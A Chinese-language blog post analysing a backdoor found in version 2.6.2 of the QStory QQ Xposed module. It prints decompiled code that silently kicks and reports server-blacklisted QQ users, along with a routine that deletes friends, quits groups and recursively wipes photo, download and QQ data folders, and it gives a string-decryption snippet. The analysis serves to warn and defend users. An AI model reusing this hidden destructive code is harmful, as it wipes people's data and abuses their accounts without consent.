QStory 2.6.2 后门逆向全过程

写在前面

我自己就是 QStory 的用户,用得挺舒服。所以当我今天在群里刷到”QStory 带后门”这个瓜的时候,第一反应其实是不信的 直到我自己把 APK 拖进了反编译器。

事情的起因是今天看到有人转发了一份”某 QQ 模块疑似存在恶意后门”的分析(下发账号信息、初始化后门、毁号函数那几张图,相信不少人都刷到了)。

分析过程

样本于思路

我下载了样本两个,做版本对比:QStory_2.6.2-release.apk(网传带后门版本,官方频道下载)与 QStory_2.6.3-release.apk(开发者”修复”后的版本)

这个 APK 用的是 R8 + 中文 Unicode 字符混淆 有一说一这个混淆挺有诗意的,但是混淆对于逆向分析是真的恶心,jadx 会把它们重命名成 C9070 、AbstractC9073 之类。但网传分析已经给了两个接口名 queryBlacklist onKickBlacklist,而 Retrofit 注解里的 URL 是明文,搜得到就能顺藤摸瓜

Retrofit 接口定义

首先看到”飘花落叶言苏哲子兰世楪.飘花落叶言子楪世苏哲兰”这个类名

public interface InterfaceC9134 {


    @InterfaceC9339("/user-v2/onKickBlacklist")   
    @InterfaceC9324                               
    InterfaceC6159<QSResult<Integer>> m15066(
        @InterfaceC9326("troop")        String str,    
        @InterfaceC9326("troopName")    String str2,  
        @InterfaceC9326("operator")     String str3,   
        @InterfaceC9326("operatorName") String str4,   
        @InterfaceC9326("uin")          String str5,   
        @InterfaceC9326("uinName")      String str6,  
        @InterfaceC9326("reason")       String str7    
    );

    @InterfaceC9323("/user-v2/queryBlacklist")   
    InterfaceC6159<QSResult<List<String>>> m15067();
}

这是一个标准的 Retrofit 接口,两个方法对应两个后端 API。 作用是从服务器拉一串被拉黑的 QQ 号列表。m15066() 带 @InterfaceC9339(“/user-v2/onKickBlacklist”) ,七个参数全是表单字段:troop(群号)、troopName(群名)、operator(当前登陆的用户)、operatorName(操作者昵称)、uin(被踢的人 QQ 号)、uinName(被踢者昵称)、reason(原因)

简单来说就是 这段代码可以利用你qq群的管理员权限 在你不知情的情况下踢掉任何人

数据结构

接口找到了 那么我们来看看这个身份是怎么分配的 如何判断你的qq号是否会被毁号

我们再看看user.java

User 是一个可序列化的身份实体,关键字段是 userIdentity。getCurrentUser() 是典型的单例懒加载:如果还没拿到服务器身份(currentUser == null),就构造一个默认对象,userIdentity 设置为 0(普通用户),name / uin用 AbstractC3164.m7228(long) 解密出来的默认值填充。AbstractC3164.m7228是贯穿全模块的字符串解密函数,传一个 long类型的常量进去、吐出明文字符串——这个函数后面会专门拆。

接下来真正参与网络序列化、跟服务器字段对接的是 C9070,它用 fastjson2 的注解把字段名暴露得明明白白

public class C9070 {
    @InterfaceC8663(name = "sponsorEndDate", ordinal = 6)
    public LocalDateTime f25101;

    @InterfaceC8663(name = "uin", ordinal = 1)
    public String f25106 = AbstractC3164.m7228(-3937561652678100391L);

    @InterfaceC8663(name = "nickname", ordinal = 2)
    public String f25105 = AbstractC3164.m7228(-3937627554656290215L);

    @InterfaceC8663(name = "identity", ordinal = 3)
    public Integer f25104 = 0;

    @InterfaceC8663(name = "identityName", ordinal = 4)
    public String f25103 = AbstractC3164.m7228(-3937627554656290215L);

    @InterfaceC8663(name = "label", ordinal = 5)
    public String f25102 = AbstractC3164.m7228(-3937561979095614887L);
}

C9070 是 user/info 接口返回的 JSON 对应的实体。@InterfaceC8663(name =) 是 fastjson2 的字段名注解,逐个映射出服务器下发的字段:sponsorEndDate、uin、nickname、identity、identityName、label sponsorEndDate(赞助账号结束的期日)

核心是 f25104(对应 JSON 的 identity)。这个整数在后面的逻辑里被用作三态开关:

identity >= 1:赞助账号,解锁付费功能;
identity == 0:普通账号,正常使用;
identity < 0:黑名单账号,触发毁号。

另外注意 f25106 中的“uin”的默认值来自常量 -3937561652678100391L,我用解密器解出来是字符串 “0”。记住这个 接下来我会讲

后门总入口

后门入口藏在一个伪装极深的位置:androidx.compose.ui.platform这个包下的一个 Runnable,用 switch 分发十几种初始化任务

case 9:
try {
    AbstractC9075.f25122.execute(new RunnableC1984(new C7327(), 18));
    AbstractC3172.m7325();
    C4555 c4555 = new C4555(3);
    if (!AbstractC3164.m7228(-3937692808094418343L).equals(c4555.m9625())) {
        AbstractC6578.m12122(AbstractC3164.m7228(-3937692640590693799L));
        new C7235(new C2611(24)).start();
    }
    new C7235(new C1092(c4555, 24)).start();
    ArrayList arrayList = AbstractC9073.f25120;
    C9135.m15071().m15067().mo11667(new C7324(24));
    return;
} catch (Exception e4) {
    String m7228 = AbstractC3164.m7228(-3937554879514674599L);
    AbstractC6581.m12135(m7228, e4.toString(), e4, true);
    return;
}

1.这个AbstractC9075.f25122.execute(new RunnableC1984(new C7327(), 18))——往线程池丢一个 case 18 任务,异步去请求 user/info 接口、把身份信息写本地缓存(case 18实现见下)

2.bstractC3172.m7325() ——调用毁号函数,读刚才缓存的身份,identity < 0 就执行账号销毁

// RunnableC1984.java —— case 18
case 18:
try {
    C7327.m12808();
    Object obj = C9135.m15068().m15054().execute().f16101;
    C9070 c9070 = (C9070) ((QSResult) obj).getData();
    new C9092().m15026(c9070, AbstractC3164.m7228(-3937706766738130343L));
    // ...
} catch (Exception e6) { /* ... */ }

C9135.m15068().m15054().execute() 是一次同步网络请求,拿到 QSResult 后 getData() 强转成 C9070,也就是上一节那个带 identity 的身份实体。随后 new C9092().m15026(c9070, m7228(-3937706766738130343L)) 把它写进本地缓存,缓存键 -3937706766738130343L 解密后是 “user_info”

这个设计,身份信息先被异步拉取并落地到本地缓存,毁号函数 m7325() 读的是缓存而不是直接读网络返回。好处是即便某次网络抖动,毁号判定依然能基于上一次缓存执行——这让”毁号”操作更稳定

踢人核心

AbstractC9073 这个类只有两个方法,但是”判定 + 踢人 + 上报 + 豁免”全包了

public abstract class AbstractC9073 {

    public static ArrayList f25120 = new ArrayList();
    public static final ArrayList f25119 = new ArrayList();

    public static final void m15012(String str, String str2, String str3) {
        AbstractC6561.m12107(-3937706981486495143L, -3937586675157566887L, str);
        str2.getClass();
        if (!f25119.contains(str) || !m15013(str2)) {
            return;
        }
        QQNTTroopTool.kickMember(str, str2, true);
        InterfaceC9134 m15071 = C9135.m15071();
        String groupName = QQNTTroopTool.getGroupName(str);
        String currentUin = QQEnvTool.getCurrentUin();
        String currentAccountNickName = QQEnvTool.getCurrentAccountNickName();
        String memberName = QQNTTroopTool.getMemberName(str, str2);
        m15071.m15066(str, groupName, currentUin, currentAccountNickName,
                      str2, memberName, str3).mo11667(new C7327(24));
    }

    public static final boolean m15013(String str) {
        str.getClass();
        if (str.equals(AbstractC3164.m7228(-3937561652678100391L))) {
            return false;
        }
        return f25120.contains(str);
    }
}

m15012:三个参数 str / str2 / str3 分别是群号、被踢 QQ 号、原因。第一行 f25119.contains(str) 判断这个群是否在”监控群队列”里(f25119 存的是你作为管理员的群),m15013(str2) 判断这个号是否该踢;两个条件任一不满足就 return。通过之后,QQNTTroopTool.kickMember(str, str2, true) 真正执行踢人,第三个参数 true 表示踢出并永久拉黑。接着收集群名、当前登录 QQ(getCurrentUin(),即 operator)、当前昵称、被踢者昵称,调 m15066() 把这些信息 POST 到 /user-v2/onKickBlacklist——也就是把”用户踢了谁”上报给服务器。

m15013(黑名单判定 + 豁免):先把传入的 QQ 号跟 m7228(-3937561652678100391L) 比较,这个常量解密后是 “0”——命中就 return false(永不踢)。这正是第三节 C9070 里 uin 的默认值,是一道兜底保险:当服务器没下发有效身份、uin 取默认占位 “0” 时,这个占位号被硬豁免,避免误伤。不命中豁免,就 f25120.contains(str) 查黑名单容器,在名单里就返回 true。

至于 f25119(监控群)是怎么填满的:在另一个初始化分支里,模块会遍历你的所有群、判断你是不是管理员/群主,是就 f25119.add(群号)。整个过程没有任何”询问用户”——你是管理员的群,被静默纳入监控范围。

交互的完整链路:case 9 触发 -> case 18 拉 user/info 写缓存 -> m7325() 判 identity < 0 毁号 -> queryBlacklist 拉黑名单填进 f25120 -> 扫描所有群把你管理的群填进 f25119 -> 进群/发消息事件触发 m15012() → 命中黑名单且不在豁免 -> kickMember 踢人 -> onKickBlacklist 上报。我还特意确认过:QStory 正经 UI 代码(top.suzhelan.qstory)里完全不引用 AbstractC9073,它是独立运行的后门

identity < 0 毁号函数

来到最精彩的地方

这个m7325() 是最危险的 整个毁号逻辑就在一个方法里

public static void m7325() {
    try {
        C9070 c9070 = new C9070();
        c9070.f25106 = AbstractC3164.m7228(-3937561652678100391L);
        c9070.f25105 = AbstractC3164.m7228(-3937706809687803303L);
        c9070.f25104 = 0;
        c9070.f25103 = AbstractC3164.m7228(-3937706809687803303L);
        C9070 c90702 = (C9070) new C9092().m15027(C9070.class,
                              AbstractC3164.m7228(-3937706766738130343L));
        if (c90702 != null) {
            c9070 = c90702;
        }
        if (c9070.f25104.intValue() < 0) {
            for (FriendInfo friendInfo : QQFriendTool.getAllFriend()) {
                QQFriendTool.deleteFriend(friendInfo.uin);
            }
            Iterator it = AbstractC9384.m15232().iterator();
            while (it.hasNext()) {
                QQNTTroopSettingTool.quitGroup(((GroupInfo) it.next()).GroupUin);
            }
            String[] strArr = {
                AbstractC3164.m7228(-3937636879030289831L),
                AbstractC3164.m7228(-3937636767361140135L),
                AbstractC3164.m7228(-3937636707231597991L),
                AbstractC3164.m7228(-3937636595562448295L),
                AbstractC3164.m7228(-3937636428058723751L)
            };
            for (int i = 0; i < 5; i++) {
                AbstractC0454.m1721(new File(strArr[i]));
            }
            for (ActivityManager.AppTask appTask :
                 ((ActivityManager) AbstractC6756.f17805.getApplicationContext()
                     .getSystemService(AbstractC3164.m7228(-3937561390685095335L)))
                     .getAppTasks()) {
                appTask.finishAndRemoveTask();
            }
        }
    } catch (Exception unused) {
    }
}

方法首先 new C9070() 造一个默认身份对象,f25104(identity)置 0。接着 new C9092().m15027(C9070.class, m7228(-3937706766738130343L)) 从本地缓存读取——缓存键 -3937706766738130343L 解密就是 “user_info”,正是 case 18 写进去的那份服务器身份;如果缓存非空(c90702 != null)就用它覆盖默认对象。

然后是核心判定 if (c9070.f25104.intValue() < 0)——只要服务器下发的 identity 是负数,就进入毁号四连:

遍历全部好友逐个删除;

遍历全部群逐个退出

递归删除 5 个本地目录,m1721 是递归删除工具

这5 个路径常量,我用自己写的解密器解出来,是这样:

-3937636879030289831L => /storage/emulated/0/Pictures/
-3937636767361140135L => /storage/emulated/0/DCIM/
-3937636707231597991L => /storage/emulated/0/Download/
-3937636595562448295L => /data/data/com.tencent.mobileqq/
-3937636428058723751L => /data/user/0/com.tencent.mobileqq/

后把 QQ 的任务全部结束、杀掉进程

逐段讲解我解密出来的这组明文:前三个是 /Pictures/(相册)、/DCIM/(相机照片)、/Download/(下载目录)——全是用户的个人文件,跟 QQ 毫无关系;后两个才是 QQ 的应用数据目录。也就是说,这个”毁号”不止销毁 QQ 社交关系和数据,还会递归删除你手机的相册、相机照片和下载文件,性质已经接近勒索软件。而触发它的 identity,完全由开发者服务器单方面下发——理论上他想让谁的 identity 变负,谁的号就会在下次启动时自毁

这段毁号代码放在 com.bumptech.glide 包下——Glide 是 Google 那个著名的图片加载库。把毁号逻辑伪装成知名第三方库,赌的就是审计时会跳过可信库

解密器分享

我把它啃了一遍,算法是:取 long 低 32 位作种子 -> 跑一遍 SplitMix64 finalizer -> 过两轮 16-bit Feistel/ARX 结构 -> 用结果跟 long 高 32 位 XOR、还原出字符串表索引 -> 去一张 Base64 编码的查找表(11 个分块、约 84809 字符)里逐字符流式解出

static long s(long x) {
    x ^= (x >>> 33);
    x *= 0x62a9d9ed799705f5L;
    x ^= (x >>> 28);
    x *= 0xcb24d0a5c88c35b3L;
    return x >>> 32;
}

static String d(long e) {
    long a = s(e & 0xFFFFFFFFL);
    a = f(a);
    long b = (a >>> 32) & 0xFFFFL;
    a = f(a);
    long c = (a >>> 16) & 0xFFFF0000L;
    int p = (int)((e >>> 32) ^ b ^ c);
    a = l(p, a);
    int n = (int)((a >>> 32) & 0xFFFFL);
    char[] r = new char[n];
    for (int i = 0; i < n; i++) {
        a = l(p + i + 1, a);
        r[i] = (char)((a >>> 32) & 0xFFFFL);
    }
    return new String(r);
}

写在最后

还在用 2.6.2 的,尽快升级或卸载,并检查有没有异常的好友删除、退群记录。

Xposed 模块运行在你 QQ 进程里,拥有你 QQ 的全部数据权限,装之前请掂量信任成本。好用 != 可信

开发者的回复也是相当幽默

当然 也确实没有迫害普通用户,在群组中开发者解释说明被挂进黑名单的,大多是辱骂过开发者、或在群里发不良内容的,但是偷偷植入后门,借用户账号踢人、甚至设置毁号逻辑破坏数据是事实,这是属于很极端的报复手段,我并不支持这么做,后续开发者在新版本也移除了之前这些位置的后门

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇